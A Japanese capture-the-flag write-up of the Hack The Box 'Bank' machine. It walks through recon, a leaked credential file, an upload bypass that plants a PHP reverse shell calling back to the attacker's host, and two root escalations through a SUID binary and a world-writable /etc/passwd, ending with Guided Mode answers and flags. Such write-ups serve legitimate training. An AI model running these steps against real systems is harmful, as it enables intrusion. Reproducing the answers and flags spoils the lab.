- 本記事の概要
- ポートスキャン及びアクセス
- DNSレコード問い合わせによるドメイン調査
- 名前解決のためのhostsファイル更新
- Webアクセスできるファイル/ディレクトリ調査
- Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
- Webページ上のファイル取得(/balance-transfer)
- ファイルアップロードの脆弱性有無を確認
- ファイルアップロードの脆弱性を悪用したリバースシェルによるwww-dataユーザー権限の奪取
- 特権昇格(SUID設定の脆弱性)
- 【別解】BurpSuiteを用いたレスポンスデータ変更(HTTPステータスコード302から200に変更)
- 【別解】特権昇格(/etc/passwdの書き込み権限の脆弱性)
- [補足] Guided ModeのQA
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Bank」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン及びアクセス
(2) DNSレコード問い合わせによるドメイン調査
(3) 名前解決のためのhostsファイル更新
(4) Webアクセスできるファイル/ディレクトリ調査
(5) Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
(6) Webページ上のファイル取得(/balance-transfer)
(7) ファイルアップロードの脆弱性有無を確認
(8) ファイルアップロードの脆弱性を悪用したリバースシェルによるwww-dataユーザー権限の奪取
(9) 特権昇格(SUID設定の脆弱性)
(10) 【別解】BurpSuiteを用いたレスポンスデータ変更(HTTPステータスコード302から200に変更)
(11) 【別解】特権昇格(/etc/passwdの書き込み権限の脆弱性)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン及びアクセス
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やDNS(53/tcp)やHTTP(80/tcp)のポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.29
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 18:35 JST
Warning: 10.10.10.29 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.29
Host is up (0.34s latency).
Not shown: 65398 closed tcp ports (reset), 134 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.7 (Ubuntu)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 23/tcp)
HOP RTT ADDRESS
1 387.02 ms 10.10.16.1
2 387.03 ms 10.10.10.29
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.84 seconds
(2) ブラウザを用いて「http://10.10.10.29/」にアクセスすると、Webページが表示される。
DNSレコード問い合わせによるドメイン調査
(1) 攻撃対象のマシンが「Bank」のため、攻撃対象のマシンで「bank.htb」というFQDNが設定されていると推測する。
(2) DNSサービス(53/tcp)が動作しているため、*.bank.htbに関するDNSレコード問い合わせる。
$ dig axfr bank.htb @10.10.10.29
※axfrはゾーン転送要求をするオプションです。
; <<>> DiG 9.20.7-1-Debian <<>> axfr bank.htb @10.10.10.29
;; global options: +cmd
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A 10.10.10.29
ns.bank.htb. 604800 IN A 10.10.10.29
www.bank.htb. 604800 IN CNAME bank.htb.
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
;; Query time: 464 msec
;; SERVER: 10.10.10.29#53(10.10.10.29) (TCP)
;; WHEN: Sun Aug 17 22:07:51 JST 2025
;; XFR size: 6 records (messages 1, bytes 171)
名前解決のためのhostsファイル更新
(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.10.29 bank.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.10.29 bank.htb」が出力されることを確認する。
(2) ブラウザを用いて「http://bank.htb/」にアクセスすると、Webサイトのログイン画面が表示される。
Webアクセスできるファイル/ディレクトリ調査
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ feroxbuster -u http://bank.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200 GET 1l 287w 16994c http://bank.htb/assets/js/sweetalert.min.js
200 GET 7l 432w 37045c http://bank.htb/assets/js/bootstrap.min.js
200 GET 4l 1412w 95785c http://bank.htb/assets/js/jquery.js
301 GET 9l 28w 305c http://bank.htb/uploads => http://bank.htb/uploads/
301 GET 9l 28w 304c http://bank.htb/assets => http://bank.htb/assets/
302 GET 188l 319w 7322c http://bank.htb/ => login.php
301 GET 9l 28w 301c http://bank.htb/inc => http://bank.htb/inc/
200 GET 0l 0w 0c http://bank.htb/inc/user.php
302 GET 0l 0w 0c http://bank.htb/inc/header.php => login.php
200 GET 23l 38w 622c http://bank.htb/inc/footer.php
200 GET 0l 0w 0c http://bank.htb/inc/ticket.php
ーーー(省略)ーーー

(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる内容がない。
$ gobuster dir -u http://bank.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Bank_80.txt
ーーー(省略)ーーー
/.htpasswd (Status: 403) [Size: 284]
/.htaccess (Status: 403) [Size: 284]
/assets (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/server-status (Status: 403) [Size: 288]
/uploads (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容がない。
$ sudo dirsearch -u http://bank.htb
ーーー(省略)ーーー
[23:40:00] 301 - 304B - /assets -> http://bank.htb/assets/
[23:40:00] 200 - 480B - /assets/
[23:40:25] 301 - 301B - /inc -> http://bank.htb/inc/
[23:40:25] 200 - 508B - /inc/
[23:40:31] 200 - 688B - /login.php
[23:40:32] 302 - 0B - /logout.php -> index.php
[23:40:43] 403 - 284B - /php5.fcgi
[23:40:53] 403 - 288B - /server-status
[23:40:53] 403 - 289B - /server-status/
[23:41:00] 302 - 3KB - /support.php -> login.php
[23:41:05] 301 - 305B - /uploads -> http://bank.htb/uploads/
[23:41:05] 403 - 283B - /uploads/
ーーー(省略)ーーー
(4) ffufを用いてアクセスできるURLを確認すると、「http://bank.htb/balance-transfer」があることが分かる。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://bank.htb/FUZZ" -ic
ーーー(省略)ーーー
[Status: 302, Size: 7322, Words: 3793, Lines: 189, Duration: 218ms]
uploads [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 220ms]
assets [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 288ms]
inc [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 220ms]
[Status: 302, Size: 7322, Words: 3793, Lines: 189, Duration: 223ms]
server-status [Status: 403, Size: 288, Words: 21, Lines: 11, Duration: 227ms]
balance-transfer [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 213ms]
ーーー(省略)ーーー
Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
(1) ffufを用いて他にどのような.phpファイルにアクセスできるか確認すると、「http://bank.htb/support.php」や「http://bank.htb/balance-transfer」があることが分かる。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://bank.htb/FUZZ" -ic -e .php
ーーー(省略)ーーー
.php [Status: 403, Size: 279, Words: 21, Lines: 11, Duration: 225ms]
index.php [Status: 302, Size: 7322, Words: 3793, Lines: 189, Duration: 226ms]
login.php [Status: 200, Size: 1974, Words: 595, Lines: 52, Duration: 386ms]
support.php [Status: 302, Size: 3291, Words: 784, Lines: 84, Duration: 221ms]
[Status: 302, Size: 7322, Words: 3793, Lines: 189, Duration: 3210ms]
uploads [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 216ms]
assets [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 219ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 224ms]
inc [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 216ms]
.php [Status: 403, Size: 279, Words: 21, Lines: 11, Duration: 212ms]
[Status: 302, Size: 7322, Words: 3793, Lines: 189, Duration: 215ms]
server-status [Status: 403, Size: 288, Words: 21, Lines: 11, Duration: 237ms]
balance-transfer [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 213ms]
ーーー(省略)ーーー
Webページ上のファイル取得(/balance-transfer)
(1) ブラウザを用いて「http://bank.htb/」にアクセスすると、拡張子が.accのファイルが複数格納されていることが分かる。
(2) 「http://bank.htb/」配下のファイルを取得して、それぞれのファイルのファイルサイズを確認すると、「68576f20e9732f1b2edc4df5b8533230.acc」が他のファイルに比べて小さいことが分かる。
$ wget -r http://bank.htb/balance-transfer
$ cd bank.htb/balance-transfer
$ ls -l | grep "acc" | cut -f 8,14 -d " " | sort
257 68576f20e9732f1b2edc4df5b8533230.acc
581 09ed7588d1cd47ffca297cc7dac22c52.acc
581 941e55bed0cb8052e7015e7133a5b9c7.acc
582 052a101eac01ccbf5120996cdc60e76d.acc
582 0d64f03e84187359907569a43c83bddc.acc
ーーー(省略)ーーー
(3) 「68576f20e9732f1b2edc4df5b8533230.acc」の内容を確認すると、ユーザー名とパスワードが記載されていることが分かる。
$ cat 68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+
===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===
(4) ブラウザを用いて「http://bank.htb/login.php」にアクセスし、「メールアドレス:chris@bank.htb」と「パスワード:!##HTBB4nkP4ssw0rd!##」を入力してログインする。
(5) ログインに成功し、ダッシュボード画面が表示される。
ファイルアップロードの脆弱性有無を確認
(1) 左部の「Support」をクリックすると、チケットの登録画面がありファイルがアップロードできることが分かる。
(2) リバースシェルを実行するためのプログラムをダウンロードする。
$ git clone https://github.com/pentestmonkey/php-reverse-shell
$ cp ./php-reverse-shell/php-reverse-shell.php ./
(3) ダウンロードしたプログラムの内、$ipをKali LinuxのIPアドレスに変更する。
$ vi php-reverse-shell.php
→以下の内容を変更する。
【変更前】
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
【変更後】
$VERSION = "1.0";
$ip = '10.10.16.10'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
(4) 任意のTitle及びMessageを入力して、ダウンロードしたプログラム(php-reverse-shell.php)をアップロードする。
(5) イメージファイルしかアップロードできない旨のエラーメッセージが表示される。「OK」をクリックする。
(6) Burp Suiteでレスポンスデータの内容を確認すると、「<!-[DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] –>」という記載があるため、デバッグ目的でphpファイルの拡張子として.htbを追加した旨の記載があることが分かる。
ファイルアップロードの脆弱性を悪用したリバースシェルによるwww-dataユーザー権限の奪取
(1) チケット登録時にアップロードするプログラムのファイル名を「php-reverse-shell.php」から「php-reverse-shell.htb」に変更する。
(2) Kali Linux側で1234/tcpポートでリバースシェルを受け取ることができるように待ち受ける。
# nc -lnvp 1234
(3) ブラウザを用いて「http://bank.htb/support.php」にアクセスする。その後、任意のTitle及びMessageを入力して、プログラム(php-reverse-shell.htb)をアップロードする。
(4) チケット登録処理が正常に実施された旨のメッセージが表示されるため、「OK」をクリックする。
(5) プログラム(php-reverse-shell.htb)を実行するために「Click Here」をクリックする。
(6) 「nc -lnvp 1234」コマンドを実行しているプロンプトにて応答があり、コマンドを実行できるようになる。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.10.29] 58068
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
03:33:51 up 27 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
(7) 完全なシェルを奪取する。
$ which python3
/usr/bin/python3
$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl]+[Z]でバックグラウンドに移す
$ stty raw -echo;fg
$ bash
$ export TERM=xterm
(8) 現在ログインしているユーザーの情報を確認すると、www-dataユーザーであることが分かる
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(9) 一般ユーザー用のフラグファイルの内容を確認する。
$ cat /home/chris/user.txt
b30937f8051f8081399896342cab7bb8特権昇格(SUID設定の脆弱性)
(1) SUIDファイルを検索すると、「/var/htb/bin/emergency」というファイルがあることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
$ find / -perm -u=s -type f 2> /dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/bin/ping
/bin/ping6
/bin/su
/bin/fusermount
/bin/mount
/bin/umount
(2) 「/var/htb/bin/emergency」の内容を確認すると、Linuxの実行ファイルで一般ユーザーに実行権限があることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
$ file /var/htb/bin/emergency
/var/htb/bin/emergency: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1fff1896e5f8db5be4db7b7ebab6ee176129b399, stripped
$ ls -l /var/htb/bin/emergency
-rwsr-xr-x 1 root root 112204 Jun 14 2017 /var/htb/bin/emergency
(3) /var/htb/bin/emergencyを実行すると、rootユーザー権限のプロンプトが表示されることを確認する。
※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
$ /var/htb/bin/emergency
→root権限のプロンプト(#)が表示される。
(4) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
※rootユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
# whoami
root
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
(5) 特権ユーザー用のフラグファイルの内容を確認する。
※rootユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
# cat /root/root.txt
3db85ab14331331acd420351fa6576ef【別解】BurpSuiteを用いたレスポンスデータ変更(HTTPステータスコード302から200に変更)
※「Webページ上のファイル取得(/balance-transfer)」の章にてWebサイトへのログイン認証を取得してログインしたが、BurpSuiteを用いたレスポンスデータを用いて「http://bank.htb/support.php」にアクセスできる。
(1) ブラウザを用いて「http://bank.htb/support.php」にアクセスすると、「http://bank.htb/login.php」にリダイレクトされることが分かる。
(2) BurpSuiteでレスポンスデータを確認すると、HTTPステータスコードの302 Foundになっていることが分かる。
(3) Burp Suiteの[Proxy] > [Match and Replace] 画面にて「Add」をクリックする。
(4) レスポンスデータを「302 Found」から「200 OK」に変更するために以下の内容を設定して、「OK」をクリックする。
| 項目 | 値 |
|---|---|
| Type | Response header |
| Match | 302 Found |
| Replace | 200 OK |

(5) 設定した内容が表示されていることが分かる。
(6) ブラウザを用いて「http://bank.htb/support.php」にアクセスすると、チケットの登録画面が表示される。
(7) リバースシェルを実行するためのプログラムをダウンロードする。
$ git clone https://github.com/pentestmonkey/php-reverse-shell
$ cp ./php-reverse-shell/php-reverse-shell.php ./
(8) ダウンロードしたプログラムの内、$ipをKali LinuxのIPアドレスに変更する。
$ vi php-reverse-shell.php
→以下の内容を変更する。
【変更前】
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
【変更後】
$VERSION = "1.0";
$ip = '10.10.16.10'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
(9) 任意のTitle及びMessageを入力して、ダウンロードしたプログラム(php-reverse-shell.php)をアップロードする。
(10) イメージファイルしかアップロードできない旨のエラーメッセージが表示される。
(11) Burp Suiteでレスポンスデータの内容を確認すると、「<!-[DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] –>」という記載があるため、デバッグ目的でphpファイルの拡張子として.htbを追加した旨の記載があることが分かる。
(12) チケット登録時にアップロードするプログラムのファイル名を「php-reverse-shell.php」から「php-reverse-shell.htb」に変更する。
(13) Kali Linux側で1234/tcpポートでリバースシェルを受け取ることができるように待ち受ける。
# nc -lnvp 1234
(14) ブラウザを用いて「http://bank.htb/support.php」にアクセスする。その後、任意のTitle及びMessageを入力して、プログラム(php-reverse-shell.htb)をアップロードする。
(15) プログラム(php-reverse-shell.htb)を実行するために「Click Here」をクリックする。
(16) 「nc -lnvp 1234」コマンドを実行しているプロンプトにて応答があり、コマンドを実行できるようになる。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.10.29] 58068
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
03:33:51 up 27 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$【別解】特権昇格(/etc/passwdの書き込み権限の脆弱性)
※「特権昇格(SUID設定の脆弱性)」の章にて「/var/htb/bin/emergency」を実行することで特権昇格したが、/etc/passwdに認証情報を書き込むことで任意のパスワードを設定してログインすることができる。
(1) /etc/passwdの権限を確認すると、一般ユーザーにも書き込み権限があることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1252 May 28 2017 /etc/passwd
(2) /etc/passwdに書き込むためのパスワード(root12345)のMD5ハッシュ値を計算する。
※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
$ openssl passwd -1 root12345
$1$ncYtvnVO$0Ofn7OIoTww5xdGifIVk//
(3) /etc/passwdのrootユーザーの箇所にパスワードを入力する。
※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
$ vi /etc/passwd
【変更前】
root:x:0:0:root:/root:/bin/bash
【変更後】
root:$1$ncYtvnVO$0Ofn7OIoTww5xdGifIVk//:0:0:root:/root:/bin/bash
(4) 設定したパスワードを用いてsuコマンドで特権昇格する。
※www-dataユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
$ su -
→設定したパスワード(root12345)を入力する。
(5) 現在ログインしているユーザー情報を確認すると、rootユーザーであること分かる。
※rootユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
# whoami
root
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
(6) 特権ユーザー用のフラグファイルの内容を確認する。
※rootユーザーでログインした攻撃対象のマシン(Bank)上で以下のコマンドを実行する。
# cat /root/root.txt
3db85ab14331331acd420351fa6576ef[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many TCP ports are listening and accessible on Bank?
問題(日本語訳):Bankでリッスンおよびアクセス可能な TCP ポートはいくつありますか?
答え:3
・Task 2
問題(英語訳):What virtual host returns a website that isn't the default Ubuntu Apache page?
問題(日本語訳):デフォルトの Ubuntu Apache ページではない Web サイトを返す仮想ホストは何ですか?
答え:bank.htb
・Task 3
問題(英語訳):What is the relative path on the webserver that allows directory listing and shows a bunch of .acc files?
問題(日本語訳):ディレクトリの一覧を表示し、多数の .acc ファイルを表示する Web サーバー上の相対パスは何ですか?
答え:/balance-transfer
・Task 4
問題(英語訳):Which .acc file stands out as different from the others?
問題(日本語訳):どの .acc ファイルが他のファイルと比べて際立っていますか?
答え:68576f20e9732f1b2edc4df5b8533230.acc
・Task 5
問題(英語訳):Optional question: There is an alternative way to bypass the login form on Bank without finding creds for chris. What kind of vulnerability allows for this? Choose from SQLI, EAR, XSS, or XSRF.
問題(日本語訳):オプションの質問:クリスの認証情報を見つけずにBankのログインフォームをバイパスする別の方法があります。どのような脆弱性がこれを可能にしますか?SQLI、EAR、XSS、XSRFから選択してください。
答え:EAR
・Task 6
問題(英語訳):What file extension will execute as PHP for debugging purposes? Don't include the . in your answer.
問題(日本語訳):デバッグ目的で PHP として実行されるファイル拡張子は何ですか? 回答に . を含めないでください。
答え:htb
・Task 7
問題(英語訳):What user is the web server running as?
問題(日本語訳):Web サーバーはどのユーザーとして実行されていますか?
答え:www-data
・Submit User Flag
問題(英語訳):Submit the flag located in the chris user's home directory.
問題(日本語訳):chris ユーザーのホームディレクトリにあるフラグを送信します。
答え:b30937f8051f8081399896342cab7bb8
※「/home/chris/user.txt」の内容。
・Task 9
問題(英語訳):What is the full path to the non-standard binary that has SetUID permissions such that it executes as root?
問題(日本語訳):ルートとして実行できるように SetUID 権限を持つ非標準バイナリへのフル パスは何ですか?
答え:/var/htb/bin/emergency
・Submit Root Flag
問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):ルートのホームディレクトリにあるフラグを送信します。
答え:3db85ab14331331acd420351fa6576ef
※「/root/root.txt」の内容。
・Task 11
問題(英語訳):There's an alternative path from www-data to root on Bank. What is the full path of the critical Linux system file that is world-writable that shouldn't be?
問題(日本語訳):Bank には www-data からルートへの代替パスがあります。本来は誰でも書き込み可能なはずの、本来書き込み可能なはずのない重要な Linux システムファイルのフルパスは何ですか?
答え:/etc/passwd関連記事(Hack The Box)
※後日作成予定。

